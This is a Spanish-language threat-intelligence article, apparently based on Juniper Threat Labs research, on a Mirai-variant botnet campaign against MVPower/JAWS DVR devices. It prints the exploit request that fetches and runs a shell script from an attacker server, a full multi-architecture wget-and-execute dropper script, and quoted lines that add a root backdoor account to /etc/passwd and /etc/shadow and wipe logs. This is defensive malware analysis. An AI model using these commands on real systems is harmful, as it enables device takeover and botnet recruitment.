Mirai 2020: cuando un vector se convierte en ruido blanco

Mirai

Mirai se ha convertido en un descubrimiento tan común en la naturaleza que está comenzando a ser ignorado como ruido blanco.

Mirai es interpretado como un simple ataque que debería ser fácilmente detenido por productos de seguridad comunes. Este es un pensamiento peligroso y arrullará a los profesionales y ejecutivos de seguridad en la complacencia.

Juniper Threat Labs ha descubierto un nuevo ataque, basado en Mirai de un atacante que originalmente parecía llamarse a sí mismo “Prioritario”. En versiones posteriores, este atacante eliminó eso del código y comenzó a implementar una versión más avanzada de Mirai. Este atacante parece ser un aficionado, como veremos más adelante. Tenga en cuenta que esto podría ser una artimaña para enmascarar a un atacante más sofisticado.

El malware original utilizado por el atacante se basa en la variante Demonbot de Mirai y se centra en el exploit Hadoop YARN . La segunda variante que utilizó el atacante se basa en la variante de Mirai desarrollada por Scarface. Mientras Demonbot se enfoca en atacar a Hadoop, el desarrollador Scarface intentó hacer que el bot fuera más “fácil de usar” y enfocado en los dispositivos de Internet de las Cosas.

Se sabe que Scarface hace que su código esté más disponible para los actores novatos, pero tiene la reputación de incluir puertas traseras en el código para permitirle acceder a las víctimas de otros.

Scarface

Si bien la variante Scarface es considerablemente más avanzada que Demonbot, el atacante todavía está intentando el exploit DVR en el puerto 60001.

Este atacante prioritario ha estado activo desde el 10 de septiembre de 2020 hasta la publicación de este blog.

Están atacando los puertos 5500, 5501, 5502, 5050 y 60001 con un simple comando de “GET /shell?cd%20/tmp;%20wget%20http://45(.)13.58.4/TPJ.sh;”.

Los ataques iniciales comenzaron en el puerto 60001, antes de avanzar a puertos adicionales.

Este ataque aprovecha la ejecución de comando no autenticado MVPower DVR Shell , informado por la Unidad 42 como parte de la variante Omni Botnet de Mirai .

Lo interesante de este atacante es que Juniper Threat Labs no los ha visto usando exploits adicionales, quizás mostrando nuevamente la inmadurez de los atacantes en la metodología de ataque.

En contraste, vemos que la mayoría de los atacantes que utilizan variantes de Mirai ejecutan de tres a siete vulnerabilidades diferentes contra múltiples protocolos o dispositivos.

Este atacante ha limitado sus ataques a un solo exploit y, aunque está distribuido en unos pocos puertos, el objetivo principal es atacar el puerto 60001.

Los otros puertos parecen más una distracción, lo que nos lleva a creer que el atacante tiene un objetivo específico en mente.

Todos los ataques se originaron desde una dirección IP (128 (.) 199.15.87) propiedad de Digital Ocean, fuera de su centro de datos de Santa Clara.

Digital Ocean es un conocido proveedor de VPS que permite una rápida configuración y destrucción de servidores privados virtuales.

Estos servidores son un pilar para que los piratas informáticos realicen sus ataques en ventanas emergentes y luego destruyan sus servidores a bajo costo.

Ese atacante progresó a un nuevo servidor en 64 (.) 227.97.145, un servidor diferente también basado en el centro de datos de Digital Ocean Santa Clara.

El software JAWS DVR ha sido atacado con un aumento constante desde octubre de 2019 y alcanzó su punto máximo en junio de 2020. En los últimos meses, SANS vio una disminución constante en la actividad del puerto 60001.

Mientras tanto, en Juniper Threat Labs han visto una aumento desde julio de 2020, alcanzando un máximo de 733 ataques diarios el 18 de julio.

Los ataques para los puertos 5500, 5501, 5502 y 5050 no parecen estar dirigidos a una vulnerabilidad específica.

El archivo descargado era un script de shell simple con el siguiente contenido.

La dirección IP del servidor de alojamiento de malware 45 (.) 13.58.4 es Heficed, otro proveedor de VPS pero menos conocido que Digital Ocean.

Lo único de este ataque es que las primeras variantes de archivo de dlr. * (X86, mips, mpls, arm (all) y ppc están todas empaquetadas con UPX, mientras que m68k, sh4 y spc parecen no estar empaquetadas en absoluto. en los archivos que muestran que esto es una variante de Mirai están:

“NeTiS y Thisity” y

“FoReHeAd We BiG L33T HaxErS”

Luego, en versiones futuras, parece haber algunos cambios significativos específicamente en reclamar el sistema para “Prioridad”

¡Servidor infectado!

Sistema ahora propiedad de Prioridad

54.39.36.160

Asesinos de proximidad

Juniper ATP Cloud identifica estas variantes de Mirai como Mirai.0

La dirección IP a la que se hace referencia en el código es (54 (.) 39.36.160) también alojada en otro VPS conocido como OVH Hosting Inc.

Los puertos abiertos en esta IP son

21 / tcp ftp  abierto   

22 / tcp abierto ssh

80 / tcp abre http

445 / tc filtrado microsoft-ds

3306 / tcp abrir mysql

55555 / tcp abierto desconocido

La interfaz web muestra una página de prueba de Apache 2 para CentOS.

Si bien este atacante no parece ser tan sofisticado como los desarrolladores de Mirai y Hoaxcall, parecen tener un conocimiento básico de los ataques rudimentarios y la modificación del código de malware para satisfacer sus necesidades.

Entienden los conceptos básicos del anonimato, pero su deseo de “identificarse” y “reclamar” su territorio recuerda a los piratas informáticos de los años 80 y 90.

El atacante ha cambiado recientemente a una nueva IP de ataque de 149 (.) 3.170.237 con el comando que se origina en las dos IP utilizadas en ataques anteriores.

OBTENER

/shellcd%20/tmp;%20wget%20http://149(.)3.170.237/Masked.sh;%20chmod%20777%20*;%20sh%20Masked.sh;%20rm%20-rf % 20 *;% 20historia% 20-c HTTP / 1.1

El contenido del nuevo script de shell apunta al mismo servidor ubicado en la isla Seychelles en el Océano Índico.

#! / bin / bash

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.mips; chmod + x Masked.mips; ./Masked.mips; rm -rf Masked.mips

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.mpsl; chmod + x Masked.mpsl; ./Masked.mpsl; rm -rf Masked.mpsl

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.sh4; chmod + x Masked.sh4; ./Masked.sh4; rm -rf Masked.sh4

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.x86; chmod + x Masked.x86; ./Masked.x86; rm -rf Masked.x86

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.arm6; chmod + x Masked.arm6; ./Masked.arm6; rm -rf Masked.arm6

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.i686; chmod + x Masked.i686; ./Masked.i686; rm -rf Masked.i686

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.ppc; chmod + x Masked.ppc; ./Masked.ppc; rm -rf Masked.ppc

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.i586; chmod + x Masked.i586; ./Masked.i586; rm -rf Masked.i586

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.m68k; chmod + x Masked.m68k; ./Masked.m68k; rm -rf Masked.m68k

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.sparc; chmod + x Masked.sparc; ./Masked.sparc; rm -rf Masked.sparc

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.arm4; chmod + x Masked.arm4; ./Masked.arm4; rm -rf Masked.arm4

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.arm5; chmod + x Masked.arm5; ./Masked.arm5; rm -rf Masked.arm5

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.arm7; chmod + x Masked.arm7; ./Masked.arm7; rm -rf Masked.arm7

cd / tmp || cd / var / run || cd / mnt || cd / root || cd /; wget http: // 149 (.) 170 237 /Masked.ppc440fp; chmod + x Masked.ppc440fp; ./Masked.ppc440fp; rm -rf Masked.ppc440fp

Las siguientes cadenas tomadas de la segunda ola de este atacante indican que este código fuente fue tomado de la variante Yakuza / Scarface de Mirai.

(nulo)

Billy BobBot / 1.0 (+ http: // www. Billy bobbot.com/crawler/)

YakuzaBotnet

Scarface1337

En las cadenas podemos ver que el atacante inserta un usuario en / etc / passwd y / etc / shadow

wwget -q –delete-after http://nexon-nx.ga/iplogger/?id

443011503

sistema de eco: x: 0: 500 :: /: / bin / bash >> / etc / passwd

sistema de eco: ‘$ 6 $ ZPptHtmp $ q9o5eFjUAh.MPmnHJbkuSNggDaq.A00dRgOBAW6gh7Uv7i / dOYD04.xMHQHtyhnkcMiYCrI6aB9KC4Lv.d3rx / :: 16601: 7: 9

>> / etc / shadow

rrm -rf / var / log / * &> / dev / null

ATP Cloud de Juniper lo identifica como la variante Mirai [Trojan.Mirai.6981169].

A medida que sigamos viendo una distribución cada vez mayor de código de malware, veremos una distribución más amplia de atacantes con habilidades limitadas que utilizan exploits y bases de código que normalmente no tendrían la capacidad de desarrollar.

Estos atacantes pueden usar motores de búsqueda y navegar por Github para obtener el código fuente e investigar cómo hacer modificaciones simples y ofuscar su malware para parecer más hábiles.

Los profesionales de seguridad de la información seguirán viendo a Mirai en el futuro previsible y no deben descartar ningún “ataque” como algo trivial.

 

Por Marcelo Lozano – General Publisher IT Connect Latam

 

Notas relacionadas

VMWorld 2020: reportaje magistral a Octavio Duré de VMware

Oracle ERP Nro1 en la nube líder del mercado

Trend Micro: pone foco en nuestra región en 2020

VMware y NVIDIA llevan la AI a la nube en VMworld 2020

VMware Secure Access Service Edge Platform en WMworld 2020

 

93 / 100